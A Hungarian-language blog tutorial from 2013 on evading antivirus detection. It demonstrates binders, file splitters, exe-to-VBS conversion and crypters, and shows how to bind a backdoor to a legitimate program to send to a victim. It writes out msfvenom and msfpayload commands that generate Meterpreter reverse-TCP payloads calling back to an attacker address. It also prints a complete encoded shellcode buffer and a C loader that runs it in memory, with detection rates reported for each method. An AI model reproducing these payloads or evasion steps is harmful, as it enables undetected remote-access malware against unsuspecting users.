2013. augusztus 27., kedd

AV - Bypass

A mai cikkben az antivírus megkerülésének (angolul AV Bypass) lehetőségeit fogom bemutatni, gyakorlati példákkal. Ahhoz hogy el tudjuk kerülni az antivírust először nézzük meg hogy hogyan is működik. A vírusirtók többsége úgynevezett szignatúra adatbázisokkal dolgozik, amikor vírusirtót frissítünk akkor kapjuk meg ezekből a legfrissebbeket. Minden fájlnak van szignatúrája. Ez két dologból áll. Egy ún. mágikus számból(magic number) ami a fájl legelején van, és a fájlnak a típusát jelöli. Pl.: A GIF képek mindig a GIF87a-nak vagy a GIF98a-nak az ASCII megfelelőjével kezdődnek. (tehát 717370565597,  vagy 717370565797) A másik dolog egy ellenőrző szám(checksum). Ez a fájl legvégén van, vagy egy külön fájlban. Egy algoritmus alapján generálódik, és hibák detektálására, biztonsági okokból használják(Látszik ha megváltozik a fájl). Az antivírusok tartalmazzák a káros kódoknak a mintáját, és összehasonlítják a fájlnak a mintáját az adatbáziséival. A valós idejű védelem a másik "fegyverük". Ez heurisztikán alapul ami annyit jelent hogyha valamelyik alkalmazás "gyanúsan" viselkedik pl.: kapcsolódni akar valahova, módosítani akar egy programot stb. azt a vírusirtó érzékeli. Mint láthatjuk azért van védelem. :) Nézzük meg hogy hogyan tudjuk ezeket kijátszani, megkerülni. Az AV Bypass-nak alapvetően 3 fő területe van. 1.: Társítás, darabolás.(Binding, splitting). 2.: Scriptté alakítás. 3.: Kód összezavarás.
1.Társítás, darabolás:
Binderek: Ezek a kis programok megváltoztatják a fájlnak az első bájtjait. Ezt úgy csinálják hogy kettő vagy több fájlt eggyé alakítanak. Amikor elindítjuk a fájl-t akkor mind a két(vagy több) program elindul, az egyik láthatóan a másik a háttérben. Pl.: Van egy videó lejátszó programunk, hozzá "bindelünk" egy backdoor-t és elküldjük az áldozatnak. A vírusirtó nem fog jelezni mert ott van a fájlnak a digitális aláírása.(a videó lejátszónak) Nézzünk gyakorlati példát. Készítsünk egy payload-ot.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.11 LPORT=4444 -exe > payload.exe
Keressünk valami "hasznos" fájlt. Én a "bindeléshez"a Hotfusion bindert fogom használni. Letölthető innen:
http://download.cnet.com/Hotfusion-File-Binder/3000-2094_4-10895406.html
A programot nagy egyszerű használni. Az [Add File]-al tudunk fájlokat hozzáadni, ha hozzáadtuk a fájlokat a [Fuse]-ra kell kattintani.
 Mint láthatjuk létrejött a harmadik fájl.
Feltöltöttem virustotal-ra és látható hogy ezzel az egyszerű technikával már 13 vírusirtót tudtunk megkerülni.
 Térjünk át a splitterekre. Ezek is hasonló módon működnek csak nem egyesítik a fájlokat hanem több darabra darabolják. Én a HJSplit programot fogom használni. Letölthető innen:
http://www.hjsplit.org/windows/
Ennek is nagyon  egyszerű a kezelése. Meg kell neki adni a programot amit darabolni akarunk, a kimeneti fájl helyét, és azt hogy mekkora fájlokra darabolja az eredeti fájlt. 
Láthatjuk hogy szépen szét is darabolta a fájlunkat 4 darabra.
2.Scriptté alakítás:
Ha átalakítjuk az fájlunkat scriptté kisebb az esélye hogy a vírusirtók megtalálják. Visual Basic scriptté fogjuk alakítani az .exe fájlunkat. Azért VB mert ezt alapból tudja futtatni a Windows, nem kell hozzá külön fordító. Az exe2vbs megcsinálja helyettünk. Innen le tudjuk tölteni:
A baj ezzel hogy csak nagyon kis fájlokat tudunk vele konvertálni. De mint láthatjuk megéri, mert elég jó eredményt kaptunk.


Itt van egy másik megoldás, ez egy metasploit script, ezt nem teszteltem le:
https://github.com/lattera/metasploit/blob/master/tools/exe2vbs.rb

3.Kód összezavarás:
Ez a legkifinomultabb technika. Annyiból áll hogy mint ahogy a nevében is benne van össze fogjuk zavarni a kódot. Titkosítjuk, stb. Ehhez is vannak nagyon jó kis programok. Ezekből fogok most bemutatni néhányat, utána pedig megnézzük hogy hogy lehet "kézzel" titkosítani a kódot! :)
AVoid:
Letölthető innen: https://github.com/nccgroup/metasploitavevasion
Ez a kis script az msfencode-ot használja egy két finomítással. A használatához telepíteni kell a mingw32 fordítót. Ha nincs feltelepítve az alábbi paranccsal tudjuk telepíteni:
apt-get install mingw32
A használatára külön nem térnék ki mert nagyon egyszerű. És mint láthatjuk a detektálási arány is elég jó: (a http://vscan.novirusthanks.org oldalt használtam mert ez nem teszi közzé a sample-t)
http://vscan.novirusthanks.org/analysis/bd296119392b0c4b17dd17f2be5aa67d/c2FsYXJpZXMtZXhl/
Itt még meg kell említenem az ún. Cryptereket. Ezeknek két fajtája van UD(undetectable) és FUD(fully undetectable). Én az Aegis Cryptert fogom használni. Letölthető innen: http://www.aegiscrypter.com/
Ez egyébként binder-t is tartalmaz, meg még sok egyéb kis extrát... :)
Sajnos a publikus verzióval nem lehet elérni FUD-ot. De azért ez sem olyan rossz eredmény:
Na és most nézzük hogy hogy lehet "kézzel" készíteni egy 0/46-os payloadot.

FUD Payload 0.1:
A metasploit beépített titkosító alkalmazását fogjuk használni, az msfencode-ot. 
root@kali:# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.11 R | msfencode -t exe -o listener.exe -e x86/shikata_ga_nai -c 5
[*] x86/shikata_ga_nai succeeded with size 317 (iteration=1)
[*] x86/shikata_ga_nai succeeded with size 344 (iteration=2)
[*] x86/shikata_ga_nai succeeded with size 371 (iteration=3)
[*] x86/shikata_ga_nai succeeded with size 398 (iteration=4)
[*] x86/shikata_ga_nai succeeded with size 425 (iteration=5)

Látszik hogy ez elég gyenge, 35/45:

Hol lehet a baj? Titkosítottuk a fájlunkat, mégis ilyen rossz eredményt kaptunk! Az az ok hogy a vírusirtók ismerik az msfencode által gyártott fájlok szignatúráját.
Ezt mi sem bizonyítja jobban mint az alábbi kis kísérlet. Titkosítsunk msfencode-al egy sima fájlt!
root@kali:# echo simafile | msfencode -e generic/none -t exe > plain.exe [*] generic/none succeeded with size 9 (iteration=1)
Láthatjuk hogy semmilyen káros kód nincs a fájlban mégis ilyen eredményt kaptunk.
FUD Payload 0.2:
Most egy egyszerű kis C program segítségével összezavarjuk a fájlunkat. Először is generáljuk le a véletlen karaktereket:
root@kali:# cat /dev/urandom | tr -dc A-Z-a-z-0-9 | head -c1028
Ezután készítsük el a Meterpreter kódunkat:
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.11 LPORT=4444 R | msfencode -e x86/shikata_ga_nai -t c -a x86 -b '\x00\x0a\x0d' -c 5
[*] x86/shikata_ga_nai succeeded with size 317 (iteration=1)
[*] x86/shikata_ga_nai succeeded with size 344 (iteration=2)
[*] x86/shikata_ga_nai succeeded with size 371 (iteration=3)
[*] x86/shikata_ga_nai succeeded with size 398 (iteration=4)
[*] x86/shikata_ga_nai succeeded with size 425 (iteration=5)
unsigned char buf[] =
"\xbd\x72\xa8\xa9\x1b\xdb\xd0\xd9\x74\x24\xf4\x5e\x33\xc9\xb1"
"\x64\x31\x6e\x14\x03\x6e\x14\x83\xc6\x04\x90\x5d\x72\xc1\x8d"
"\xea\xa1\x02\x97\xa0\xe7\x9b\x46\x9d\xdc\x92\x39\x7f\xa0\xce"
"\xc5\xb1\xf5\x06\x36\xe1\xef\xc4\x7e\x91\x84\x71\xa2\x9a\x07"
"\x41\x29\xa4\x63\x76\x18\x3e\x18\xfd\x1c\x64\x02\xfa\x23\xd9"
"\x48\x7d\x61\x2e\xc6\x0e\x41\x2c\x1c\x72\xb9\xe9\xbd\x18\x5d"
"\x20\x70\xbb\xa6\xda\x03\x7d\x57\xa9\x52\xd4\xd5\x6d\xe1\xd2"
"\x17\x67\xa3\xf0\x3d\x56\xd7\x61\xe5\x92\x87\xf8\x9a\xe5\x0e"
"\x99\x40\x74\xc2\x8e\x3d\x6a\x06\xc9\x8f\xdf\x41\xc0\xb1\xd5"
"\x46\xbd\xf6\xa8\xb3\x34\x1d\x60\xe3\x18\x87\xc4\xf4\xff\x3f"
"\x64\xff\xa4\xb5\xe0\x05\x2b\xa2\x2a\x91\x48\x9a\x16\x16\xec"
"\xf3\x4c\x36\x37\x36\xfc\xfa\xdd\xb3\x5c\xc8\x9e\xb8\xe9\xa6"
"\x2f\xb3\x18\x32\x3c\xde\x23\xfa\x86\x86\xfa\xa8\x29\xd7\x69"
"\xe6\x60\xac\x81\xf4\xb4\x6a\x4c\xff\x1b\x46\x04\xbd\xab\x3a"
"\xb3\x86\x29\xe5\x7c\xd9\xc5\x1e\xed\xa9\xeb\x80\xf9\x67\x27"
"\x2f\x09\xaa\x43\x33\xf0\x58\x5b\x8c\x3a\xce\x37\x37\x67\xbe"
"\x84\x24\xd8\x96\x9e\x90\x8f\xa5\x03\x26\xb5\x77\x0c\x22\x7e"
"\x7e\x34\xbc\xef\xc9\x90\x2e\xc0\x40\x8f\x45\x1a\x05\x61\xda"
"\x17\x86\x12\x0c\x63\x6a\x5b\xbe\xe1\xf0\xaf\xad\x54\x7b\xf5"
"\x0b\x8b\x82\xba\xd7\xf1\xb0\xe2\xf9\x6a\x7a\x4b\x12\xd9\xa4"
"\x82\x2c\xf7\xea\xad\x68\x38\xd6\x54\x5b\x10\xa9\xec\x30\xce"
"\xc4\xc6\x24\xd0\xb0\x97\x62\x16\x48\x08\x37\x41\xe9\xe0\xb0"
"\x51\x2a\xef\x5a\xaf\x55\xf1\x64\x94\xcf\x95\xe2\xcb\x3e\x29"
"\x07\x49\xf7\x26\xcc\xfc\x8d\xcd\x95\xa6\xec\x1f\xbd\x9c\x8d"
"\xed\xab\x8b\x9f\xb3\xf7\x3b\x6f\xa9\x01\x82\x91\x62\x2d\x60"
"\xda\x05\xcd\xad\x52\x49\x02\x30\x07\xfa\xb8\x07\x1b\x81\x70"
"\x70\x64\x79\x74\x17\x7e\x7d\x67\x10\xc3\xbd\xe8\x76\x76\xbd"
"\x36\x10\xc8\xce\xb8\x94\x89\xb7\x22\x0f\x3e\x74\x36\x03\x9e"
"\x8a\xd4\xd8\xa5\xb1";
Ezután rakjuk be az egészet a mi kis egyszerű C programunkba, és mentsük el, fordítsuk le, és kész is vagyunk. :)
// Ide jönnek a random karakterek
unsigned char padding[]=
;
// A Meterpreter kód ide
unsigned char payload[]=
;
// Betöltjük a Meterpretert a memóriába
int main(void) { ((void (*)())payload)();}

Én egész jó eredményt kaptam: :)
http://vscan.novirusthanks.org/analysis/91817146cba8208c16a2b9c48f2b4064/YmFzZS1leGU=/
Nagyon sok eszközt teszteltem, de kb. hasonló eredményeket kaptam mint az AVoid-nál.
Böngészésére ajánlom még az alábbi linkeket:
Marosi Attila előadása a 2013 Ethical Hacking Konferencián(Ez az előadás ihlette a cikket):
https://www.youtube.com/watch?v=xv7kBwEVym0&list=PL2JHKW_jNuVso0feHjm92N0jl8eDE4Iru&index=4

Veil:(Ez egy nagyon jó kis eszköz, az egyetlen ok amiért nem raktam bele a cikkbe mert nem tudtam működésre bírni sem a py2exe-t, sem a pyinstaller-t a linuxomon... :( de érdemes megnézni!)
https://github.com/ChrisTruncer/Veil
UPDATE! Azóta sikerült működésre bírnom, és cikk is született róla. :)

Crypter.py:
http://www.securitytube.net/video/4223
http://www.mediafire.com/?55q2zisjxif3ez4

Metasm AV Bypass:
http://www.pentestgeek.com/2012/01/25/using-metasm-to-avoid-antivirus-detection-ghost-writing-asm/

XOR encrypt:
http://www.securitytube.net/video/2863
A videó fájlai: http://pastebin.com/eyLPeXN3

AV Sandbox Evasion:
http://funoverip.net/2012/07/antivirus-sandbox-evasion-part3/

Bypassing Symantec Endpoint Protection:
http://sector876.blogspot.hu/2013/03/av-bypass-symantec-endpoint-protection.html
http://pastebin.com/axAE0XEe

Shellcodeexec:
http://bernardodamele.blogspot.hu/2011/04/execute-metasploit-payloads-bypassing.html
https://github.com/inquisb/shellcodeexec